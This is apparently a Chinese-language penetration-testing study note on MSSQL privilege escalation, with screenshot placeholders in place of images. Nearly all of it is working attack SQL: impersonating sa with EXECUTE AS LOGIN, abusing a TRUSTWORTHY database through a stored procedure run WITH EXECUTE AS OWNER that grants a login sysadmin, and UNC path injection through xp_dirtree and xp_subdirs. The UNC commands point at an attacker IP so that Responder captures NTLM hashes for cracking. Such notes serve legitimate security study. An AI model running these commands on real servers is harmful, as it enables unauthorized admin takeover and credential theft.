MSSQL提权

权限提升很关键的一个角色是 SA
注意:在安装过程中如果选择 Windows Authentication Mode ,默认禁用sa 登录

1. MSSQL提权

EXECUTE AS允许用户将会话的 execution context 切换到另外一个用户(实际就是impersonate),可以使用REVERT切换回上下文

1.1. 模拟登录

1.1.1. 枚举当前用户可以模拟的对象

枚举当前用户可以模拟的对象

SELECT name FROM sys.server_permissions
JOIN sys.server_principals
ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';

Pasted image 20260315015206.png

MSSQL Server 仅会返回我们当前登录账户可访问的信息

1.1.2. 模拟用户SA

EXECUTE AS LOGIN = 'sa';

Pasted image 20260315015348.png

然后我们可以使用REVERT切回原来的用户
Pasted image 20260315015500.png

1.2. 信任数据库 TRUSTWORTHY

MSSQL Server 数据库具有一个名为 TRUSTWORTHY 的属性,该属性指示 MSSQL Server 是否应信任该数据库及其中的内容。默认关闭sysadmin 角色的用户可以开关这个属性

如果某个数据库被标记为 TRUSTWORTHY,且可以控制一个数据库级别的 db_owner,那么就可能将服务器级 sysadmin 角色分配给任意登录名

1.2.1. 查询数据库角色和对应的成员

USE webshop;
SELECT b.name, c.name
FROM webshop.sys.database_role_members a
JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;

Pasted image 20260315020445.png

1.2.2. 枚举用户是否为dbo

我们模拟ws_user用户,看看是不是数据库的管理员

USE webshop;
EXECUTE AS LOGIN = 'ws_user';
SELECT IS_ROLEMEMBER('db_owner');

Pasted image 20260315020819.png

1.2.3. 为ws_dev用户分配sysadmin角色

发现是数据库级别的dbo权限,我们可以分配给其他用户 服务器级别的sysadmin角色

CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
    EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin'
GO

EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;
  • WITH EXECUTE AS OWNER:这是漏洞利用的关键点,它会以此存储过程的 owner身份运行命令,如果这个数据库的所有者是SA,那么就可以SA的角色运行命令
    Pasted image 20260315021027.png

1.2.4. 查询是否修改角色成功

REVERT;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

Pasted image 20260315021312.png
ws_dev已经提升至管理员权限

1.3. UNC 路径注入

通过Responder捕获NTLM身份验证,然后破解哈希

提供了下面三个存储过程:

  • xp_fileexist :检查某个文件是否存在
  • xp_dirtree :基于提供的目录返回目录树
  • xp_subdirs :返回所提供目录的子目录列表
EXEC xp_subdirs '\\10.10.16.159\share';
EXEC xp_dirtree '\\10.10.16.159\share';
EXEC xp_subdirs '\\10.10.16.159\share';

Pasted image 20260315023439.png

然后破解哈希即可